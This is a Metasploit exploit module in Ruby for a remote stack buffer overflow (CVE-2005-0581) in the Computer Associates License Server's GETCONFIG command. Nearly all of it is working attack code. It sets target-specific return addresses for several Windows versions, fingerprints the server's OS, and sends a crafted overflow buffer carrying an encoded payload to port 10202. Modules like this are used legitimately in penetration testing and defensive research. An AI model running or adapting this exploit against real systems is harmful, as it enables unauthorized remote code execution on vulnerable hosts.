116 lines
4.4 KiB
Ruby
116 lines
4.4 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Computer Associates License Server GETCONFIG Overflow',
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'Description' => %q{
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This module exploits an vulnerability in the CA License Server
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network service. By sending an excessively long GETCONFIG
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packet the stack may be overwritten.
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},
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'Author' =>
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[
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'hdm', # original msf v2 module
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'patrick', # msf v3 port :)
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2005-0581' ],
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[ 'OSVDB', '14389' ],
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[ 'BID', '12705' ],
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[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=213' ],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 600,
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'BadChars' => "\x00\x20",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# As much as I would like to return back to the DLL or EXE,
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# all of those modules have a leading NULL in the
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# loaded @ address :(
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# name, jmp esi, writable, jmp edi
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#['Automatic', {} ],
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#
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# patrickw - tested OK Windows XP English SP0-1 only 20100214
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['Windows 2000 English', { 'Rets' => [ 0x750217ae, 0x7ffde0cc, 0x75021421 ] } ], # ws2help.dll esi + peb + edi
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['Windows XP English SP0-1', { 'Rets' => [ 0x71aa16e5, 0x7ffde0cc, 0x71aa19e8 ] } ], # ws2help.dll esi + peb + edi
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['Windows XP English SP2', { 'Rets' => [ 0x71aa1b22, 0x71aa5001, 0x71aa1e08 ] } ], # ws2help.dll esi + .data + edi
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['Windows 2003 English SP0', { 'Rets' => [ 0x71bf175f, 0x7ffde0cc, 0x71bf1a2c ] } ], # ws2help.dll esi + peb + edi
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],
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'DisclosureDate' => 'Mar 02 2005'))
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register_options(
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[
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Opt::RPORT(10202),
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], self.class)
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end
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def check
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connect
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banner = sock.get_once
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sock.put("A0 GETCONFIG SELF 0<EOM>")
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res = sock.get_once || ''
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disconnect
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if (res =~ /OS\<([^\>]+)/)
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vprint_status("CA License Server reports OS: #{$1}")
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return Exploit::CheckCode::Detected
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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banner = sock.get_once
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if (banner !~ /GETCONFIG/)
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print_status("The server did not return the expected greeting!")
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end
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# exploits two different versions at once >:-)
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# 144 -> return address of esi points to string middle
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# 196 -> return address of edi points to string beginning
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# 148 -> avoid exception by patching with writable address
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# 928 -> seh handler (not useful under XP SP2)
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buff = rand_text_alphanumeric(900)
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buff[142, 2] = Rex::Arch::X86.jmp_short(8) # jmp over addresses
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buff[144, 4] = [target['Rets'][0]].pack('V') # jmp esi
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buff[148, 4] = [target['Rets'][1]].pack('V') # writable address
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buff[194, 2] = Rex::Arch::X86.jmp_short(4) # jmp over address
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buff[196, 4] = [target['Rets'][2]].pack('V') # jmp edi
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buff[272, payload.encoded.length] = payload.encoded
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sploit = "A0 GETCONFIG SELF #{buff}<EOM>"
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sock.put(sploit)
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handler
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disconnect
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end
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end
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=begin
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eTrust: A0 GCR HOSTNAME<XXX>HARDWARE<xxxxxx>LOCALE<English>IDENT1<unknown>IDENT2<unknown>IDENT3<unknown>IDENT4<unknown>OS<Windows_NT 5.2>OLFFILE<0 0 0>SERVER<RMT>VERSION<0 1.61.0>NETWORK<192.168.3.22 unknown 255.255.255.0>MACHINE<PC_686_1_2084>CHECKSUMS<0 0 0 0 0 0 0 00 0 0 0>RMTV<1.3.1><EOM>
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BrightStor: A0 GCR HOSTNAME<XXX>HARDWARE<xxxxxx>LOCALE<English>IDENT1<unknown>IDENT2<unknown>IDENT3<unknown>IDENT4<unknown>OS<Windows_NT 5.1>OLFFILE<0 0 0>SERVER<RMT>VERSION<3 1.54.0>NETWORK<11.11.11.111 unknown 255.255.255.0>MACHINE<DESKTOP>CHECKSUMS<0 0 0 0 0 0 0 0 0 0 0 0>RMTV<1.00><EOM>
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lic98rmt.exe v0.1.0.15: A0 GCR HOSTNAME<XXX>HARDWARE<xxxxxx>LOCALE<English>IDENT1<unknown>IDENT2<unknown>IDENT3<unknown>IDENT4<unknown>OS<Windows_NT 5.1>OLFFILE<0 0 0>SERVER<RMT>VERSION<3 1.61.0>NETWORK<192.168.139.128 unknown 255.255.255.0>MACHINE<DESKTOP>CHECKSUMS<0 0 0 0 0 0 0 0 0 0 0 0>RMTV<1.00><EOM>
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=end
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